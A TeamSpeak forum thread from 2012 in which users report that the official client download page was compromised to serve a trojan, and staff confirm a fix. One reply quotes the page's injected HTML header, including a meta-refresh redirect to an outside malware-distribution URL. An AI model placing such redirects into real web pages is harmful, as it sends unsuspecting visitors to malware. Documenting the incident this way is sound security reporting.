Forum


Notice to all users

We are migrating towards a new forum system located at community.teamspeak.com, as such this forum will become read-only on January 29, 2020

Results 1 to 6 of 6
  1. #1
    Join Date
    March 2012
    Posts
    1

    Solved TS3 Downloads compromised :: Win32 Ts3 download redirects to trojan.

    When I go to the downloads page and choose win32 client, I am taken to the EULA, I accept it, It then shows a survey. Once you accept or deny the survey you are taken to the download page that has a timer, the download starts after a few secs. Instantly my MSSE goes off saying a trojan is detected.

    The file is not even named like a teamspeak file, the download page shows:

    Your download will start in a few seconds. If your download does not start, please click here:

    *** URL removed ***

    it then downloads a file with either ?sid=1 or ?sid=2

    Please investigate and fix asap,
    dashdingo
    Last edited by ScP; April 1st, 2012 at 07:47 PM.

  2. #2
    Join Date
    January 2010
    Location
    El Prat de Llobregat (Barcelona, Spain)
    Posts
    2,698
    And the header of the HTML code contains:
    <meta http-equiv="refresh" content="5; URL=http://webline.tv/sTDS/go.php?sid=1" />

    Code:
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
    <head>
      <base href="http://www.teamspeak.com/" />
      <title>TeamSpeak - Downloads</title>
      <meta http-equiv="content-type" content="text/html; charset=utf-8" />
      <meta http-equiv="cache-control" content="no-cache" />
      <meta http-equiv="pragma" content="no-cache" />
      <meta http-equiv="expires" content="-1" />
      <meta http-equiv="refresh" content="5; URL=http://webline.tv/sTDS/go.php?sid=1" />
      <meta name="robots" content="index, follow, NOODP" />

  3. #3
    Join Date
    February 2012
    Posts
    4

    Hacked download page ??

    Hello today i did a format PC and I wanted to install TS 3 x64 so i downloaded the client 3.0.5 witch was called little diffrent after download. 3.0.5_gamed_X64.exe and he wieght 599 kb so it's kinda creppy and Teamspeak webpage redirect me to this page to download.
    *** URL removed ***

    And inside of this file is a Trojan witch is called Trojan.Win32.Scar.emyw

    File checked by 8 antivirues and result are the same. Please repair it because many of people can download this trojan and be internet zombies rootkits .....

    And I had to search client 3.0.5 form other sources.
    Last edited by ScP; April 1st, 2012 at 07:46 PM.

  4. #4
    Join Date
    March 2010
    Location
    Germany
    Posts
    114
    Yep,

    Virus: Trojan.Generic.6163100 (Engine A), Win32:Trojan-gen (Engine B).

    You can download the TS3 Files still from the 4Players FTP-Server:

    http://ftp.4players.de/pub/hosted/ts3/releases/3.0.5/

  5. #5
    Join Date
    March 2012
    Posts
    1
    I got the same "3.0.5_gamed_win64.exe"

    I was very suspicious, and opened it.

    It indeed was a virus, hopefully avast is able to delete it.

  6. #6
    Join Date
    January 2003
    Posts
    53
    Dear TeamSpeak 3 users,

    Thank you for the report. We have immediately fixed this issue and you can now safely download again.

    http://www.teamspeak.com/?page=downloads

    We are sorry for any troubles this might have caused.


    Thanks again and have a nice weekend!

    Kind regards,
    -Ben

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. Teamspeak has been compromised
    By Sniper_357 in forum Off Topic
    Replies: 1
    Last Post: October 17th, 2014, 04:59 PM

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •